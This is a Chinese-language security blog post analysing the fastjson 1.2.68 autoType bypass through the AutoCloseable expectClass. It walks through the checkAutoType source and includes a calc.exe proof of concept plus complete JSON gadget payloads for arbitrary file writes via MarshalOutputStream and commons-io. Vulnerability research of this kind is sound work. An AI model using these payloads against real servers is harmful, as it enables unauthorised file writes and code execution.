fastjson1.2.68分析

fastjson 1.2.68 最新版本有限制 autotype bypass - 浅蓝 's blog (b1ue.cn)

https://mp.weixin.qq.com/s?__biz=MzI3MzUwMTQwNg==&mid=2247485312&idx=1&sn=22dddceccf679f34705d987181a328db&scene=21&token=1393640502&lang=zh_CN#wechat_redirect

Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析 (qq.com)

基本poc与利用过程

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

public class test {
    public static void main(String[] args)
    {
        String payload21 = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"evil\",\"cmd\":\"calc.exe\"}";
        JSON.parse(payload21);
    }
}
import java.io.IOException;

public class evil implements AutoCloseable{

    public evil(String cmd){
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
    public void close() throws Exception {

    }
}

大致的漏洞原理与之前相同,这里主要是对一个autoType的绕过,来调试看一下这个版本的防护。

还是先从checkAutoType看起

image-20220114144044202

image-20220114144658712

然后使用hash去做内部黑白名单的匹配

final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
    throw new JSONException("autoType is not support. " + typeName);
}

if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
    throw new JSONException("autoType is not support. " + typeName);
}

final long h3 = (((((BASIC ^ className.charAt(0))
        * PRIME)
        ^ className.charAt(1))
        * PRIME)
        ^ className.charAt(2))
        * PRIME;

long fullHash = TypeUtils.fnv1a_64(className);
boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,  fullHash) >= 0;

if (internalDenyHashCodes != null) {
    long hash = h3;
    for (int i = 3; i < className.length(); ++i) {
        hash ^= className.charAt(i);
        hash *= PRIME;
        if (Arrays.binarySearch(internalDenyHashCodes, hash) >= 0) {
            throw new JSONException("autoType is not support. " + typeName);
        }
    }
}

if ((!internalWhite) && (autoTypeSupport || expectClassFlag)) {
    long hash = h3;
    for (int i = 3; i < className.length(); ++i) {
        hash ^= className.charAt(i);
        hash *= PRIME;
        if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
            if (clazz != null) {
                return clazz;
            }
        }
        if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
            if (Arrays.binarySearch(acceptHashCodes, fullHash) >= 0) {
                continue;
            }

            throw new JSONException("autoType is not support. " + typeName);
        }
    }
}

之后就是从几种接口去获取对应的class,和之前的几个版本代码基本相同,这里就不列了。

最后,如果没有获取到class,进入以下的流程

boolean jsonType = false;
    InputStream is = null;
    try {//判断使用注解JSONType的类
        String resource = typeName.replace('.', '/') + ".class";
        if (defaultClassLoader != null) {
            is = defaultClassLoader.getResourceAsStream(resource);
        } else {
            is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
        }
        if (is != null) {
            ClassReader classReader = new ClassReader(is, true);
            TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
            classReader.accept(visitor);
            jsonType = visitor.hasJsonType();
        }
    } catch (Exception e) {
        // skip
    } finally {
        IOUtils.close(is);
    }

    final int mask = Feature.SupportAutoType.mask;
    boolean autoTypeSupport = this.autoTypeSupport
            || (features & mask) != 0
            || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

    if (autoTypeSupport || jsonType || expectClassFlag) {//判断三个条件是否满足,使用classLoader去获取目标类
        boolean cacheClass = autoTypeSupport || jsonType;
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
    }

    if (clazz != null) {
        if (jsonType) {//如果有注解,则加入mapping缓存并直接返回。如果没有注解判断clazz类是否继承或实现classloader、dataSource、RowSet,抛出异常防止jndi注入。
            TypeUtils.addMapping(typeName, clazz);
            return clazz;
        }

        if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                || javax.sql.RowSet.class.isAssignableFrom(clazz) //
                ) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        if (expectClass != null) {//如果expectClass期望类不为空,则需要加载的类是期望类的子类或实现,并直接返回,否则异常。
            if (expectClass.isAssignableFrom(clazz)) {
                TypeUtils.addMapping(typeName, clazz);
                return clazz;
            } else {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
        }

        JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
        if (beanInfo.creatorConstructor != null && autoTypeSupport) {//如果类使用JSONCreator注解并且开启autoTypeSupport,抛出异常。
            throw new JSONException("autoType is not support. " + typeName);
        }
    }

    if (!autoTypeSupport) {
        throw new JSONException("autoType is not support. " + typeName);
    }

    if (clazz != null) {//最后就是判断是否开启autoTypeSupport特性,将clazz添加进缓存,并且return clazz。
        TypeUtils.addMapping(typeName, clazz);
    }

    return clazz;
}

之前1.2.47使用mapping缓存去绕过AutoType,这次1.2.68则利用expectClass去进行相应的绕过。

期望类的功能主要是实现/继承了期望类的class能被反序列化出来(并且不受autotype影响),寻找checkAutoType方法的调用,要求exceptClass不为空。

image-20220114160303037

只有两个类JavaBeanDeserializerThrowableDeserializer中调用了checkAutoType并且exceptClass不为空。

其中JavaBeanDeserializer的exceptClass 为AutoCloseable,这样就可以继承AutoCloseable类,来构造恶意class了。

最后,完成CheckAutoType后,还会去查找序列化数据中后续的参数。

比如,通过 $ref 字段借助 JSONPath 去访问 get 方法。

以下是基本流程。

当第二个字段的 key 也是 @type 的时候就会取 value 当做类名做一次 checkAutoType 检测,因此有了第二次的checkAutoType。

image-20220114172226993

image-20220117102346305

找出可用的gadget

之前的分析中,找到了两个类,一个是AutoCloseable类,还有一个是Throwable相关的类。

关于 gadget 的挖掘思路主要是寻找关于输入输出流的类来写文件,IntputStream 和 OutputStream 都是实现自 AutoCloseable 接口的,而且也没有被列入黑名单,所以只要找到合适的类,还是可以进行文件读写等高危操作的。

首先看一下这里的类的关系,都是继承OutputStream的类,而该类实现了Closeable的接口,closeable又继承了AutoCloseable,因此可以使用OutputStream实现反序列化

image-20220117144119677

image-20220117144319789

image-20220114180928610

关于blackhat2021披露的fastjson1.2.68链 | CN-SEC 中文网

fastjson反序列化时会优先调用无参构造函数,然后调用setter来设置属性。如果没有无参构造函数,则调用参数最多的构造函数来创建对象。这是为了兼容bean和java原生类的写法。

fastjson 在通过带参构造函数进行反序列化时,会检查参数是否有参数名,只有含有参数名的带参构造函数才会被认可

AutoCloseableEvil(String name,String name2,String name3) 这里name1-3变量名都是不必要存储在class文件中的。使用默认javac编译,并不会携带变量名,必须使用javac -g编译,才会有LocalVariableTable属性,携带变量名。

什么情况下类构造函数的参数会有参数名信息呢?只有当这个类 class 字节码带有调试信息且其中包含有变量信息时才会有。

可以通过如下命令来检查,如果有输出 LocalVariableTable,则证明其 class 字节码里的函数参数会有参数名信息:

javap -l <class_name> | grep LocalVariableTable

fastjson使用

String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);

读取字节码来获取变量名,自定义类和第三方库由于IDE默认使用javac -g编译就没问题,系统类就不一定了。JDK11以下的版本大部分都没有携带变量名(并不一定,部分系统的JDK8也可能存在)。

挖掘脚本参考 scz.617.cn:8/web/202008081723.txt,代码FindSomeClass3已保存在本地,需要使用java8环境执行。

在目标环境中执行FindSomeClass3,如果它"没有"输出某个类,那该类就不能用于该目标环境,这是个必要非充分条件。

gadget分析

MarshalOutputStream链分析

只适用于jdk11,不用第三方库,作用为写文件

{
    '@type':"java.lang.AutoCloseable",
    '@type':'sun.rmi.server.MarshalOutputStream',
    'out':
    {
        '@type':'java.util.zip.InflaterOutputStream',
        'out':
        {
           '@type':'java.io.FileOutputStream',
           'file':'dst',
           'append':false
        },
        'infl':
        {
            'input':
            {
                'array':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==',
                'limit':22
            }
        },
        'bufLen':1048576
    },
    'protocolVersion':1
}

在第一个sun.rmi.server.MarshalOutputStream解析完后,会对out字段进行解析

image-20220117145315053

以此类推,完成了写文件的操作。

input中的字段名存疑。

commons-io 利用链分析

Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析 (qq.com)

{  "x":{   
	"@type":"com.alibaba.fastjson.JSONObject",  
	"input":{    
		"@type":"java.lang.AutoCloseable", 
		"@type":"org.apache.commons.io.input.ReaderInputStream",   
         "reader":{       
         	"@type":"org.apache.commons.io.input.CharSequenceReader",     
            "charSequence":{
            	"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"//感觉这里少了一个大括号,但是加上去又会报错     
               			 },    
            "charsetName":"UTF-8",    
            "bufferSize":1024   
            	},  
      	 "branch":{
         	"@type":"java.lang.AutoCloseable",
            "@type":"org.apache.commons.io.output.WriterOutputStream",  
            "writer":{   
            	"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
            	"file":"/tmp/pwned",  
                "encoding":"UTF-8",     
                "append": false     
                	},      
            "charsetName":"UTF-8",     
            "bufferSize": 1024,    
            "writeImmediately": true  
            },  
            "trigger":{    
            	"@type":"java.lang.AutoCloseable",
            	"@type":"org.apache.commons.io.input.XmlStreamReader", 
                "is":{    
                	"@type":"org.apache.commons.io.input.TeeInputStream", 
                    "input":{      
                    	"$ref":"$.input"    
                        },      
                    "branch":{    
                    	"$ref":"$.branch"   
                        },       
                    "closeBranch": true   
                    },     
                 "httpContentType":"text/xml",    
                 "lenient":false,   
                 "defaultEncoding":"UTF-8"   
                 },   
            "trigger2":{    
            	"@type":"java.lang.AutoCloseable",
            	"@type":"org.apache.commons.io.input.XmlStreamReader", 
                "is":{     
                	"@type":"org.apache.commons.io.input.TeeInputStream",    
                    "input":{       
                    	"$ref":"$.input"   
                        },     
                    "branch":{        
                    	"$ref":"$.branch"   
                        },      
                    "closeBranch": true    
                    },     
                "httpContentType":"text/xml",    
                "lenient":false,   
                "defaultEncoding":"UTF-8"   
                },  
             "trigger3":{    
            	 "@type":"java.lang.AutoCloseable",
             	 "@type":"org.apache.commons.io.input.XmlStreamReader", 
                 "is":{       
                 	"@type":"org.apache.commons.io.input.TeeInputStream",  
                    "input":{         
                    	"$ref":"$.input"  
                        },     
                     "branch":{     
                     	"$ref":"$.branch"   
                        },   
                     "closeBranch": true     
                     },    
                 "httpContentType":"text/xml",   
                 "lenient":false,  
                 "defaultEncoding":"UTF-8"  
                 } 
            }
      }

payload分析

这条链只使用了common-io 2.5版本作为第三方库,同时该库极为常见。

首先 按顺序 org.apache.commons.io.input.ReaderInputStream类,该类作为输入流,从org.apache.commons.io.input.CharSequenceReader类接收输入。

接下来,org.apache.commons.io.output.WriterOutputStream类作为输出流,配合org.apache.commons.io.output.FileWriterWithEncoding指定输出位置进行写文件操作。

最后为关键的类org.apache.commons.io.input.XmlStreamReader与org.apache.commons.io.input.TeeInputStream

我们来看一下XmlStreamReader类的实例化代码和流程

public XmlStreamReader(InputStream is, String httpContentType, boolean lenient, String defaultEncoding) throws IOException {
    this.defaultEncoding = defaultEncoding;
    BOMInputStream bom = new BOMInputStream(new BufferedInputStream(is, 4096), false, BOMS);
    BOMInputStream pis = new BOMInputStream(bom, true, XML_GUESS_BYTES);
    this.encoding = this.doHttpStream(bom, pis, httpContentType, lenient);
    this.reader = new InputStreamReader(pis, this.encoding);
}

image-20220118144230653

在执行doHttpStream时,会调用getBOM,然后会调用read方法,配合TeeInputStream类触发写入的方法就是这个read方法。

这时我们来看一下TeeInputStream类的构造方法与read方法,发现构造方法参数类型为InputStream与OutputStream

public TeeInputStream(InputStream input, OutputStream branch, boolean closeBranch) {
    super(input);
    this.branch = branch;
    this.closeBranch = closeBranch;
}

而其read方法其实就是将input写入branch,完成了从输入到输出的过程。

public int read(byte[] bts, int st, int end) throws IOException {
    int n = super.read(bts, st, end);
    if (n != -1) {
        this.branch.write(bts, st, n);
    }

    return n;
}

这样一来,整个流程就清晰了。

image-20220118150647104

尝试用 fastjson 进行解析执行,发现文件创建了,也确实执行到了 FileWriterWithEncoding.write(char[], int, int) 方法,但是文件内容是空的?

这里涉及到的一个问题就是,当要写入的字符串长度不够时,输出的内容会被保留在 ByteBuffer 中,不会被实际输出到文件里:

图片

问题搞清楚了,我们需要写入足够长的字符串才会让它刷新 buffer,写入字节到输出流对应的文件里。那么很自然地想到,在 charSequence 处构造超长字符串是不是就可以了?

可惜并非如此,原因是 InputStream buffer 的长度大小在这里已经是固定的 4096 了:

image-20220118151528603

也就是说每次读取或者写入的字节数最多也就是 4096,但 Writer buffer 大小默认是 8192:

image-20220118151547993

因此仅仅一次写入在没有手动执行 flush 的情况下是无法触发实际的字节写入的。

解决方法:循环引用。通过 $ref 循环引用,多次往同一个 OutputStream 流里输出即可。一次不够 overflow 就多写几次,直到 overflow 为止,就能触发实际的文件写入操作。

总结

到此为止,网上常用的payload基本都分析了一下,对于fastjson1.2.68来说,2021blackhat上给出了不少利用方法,还可以研究一下,感觉学习fastjson1.2.68最大的收获就是如何去挖掘gadget,一方面看到了沈沉舟师傅的脚本框架,另一方面学习了很多师傅挖掘的思路。

posted @ 2022-01-18 17:43  xyylll  阅读(832)  评论(0编辑  收藏  举报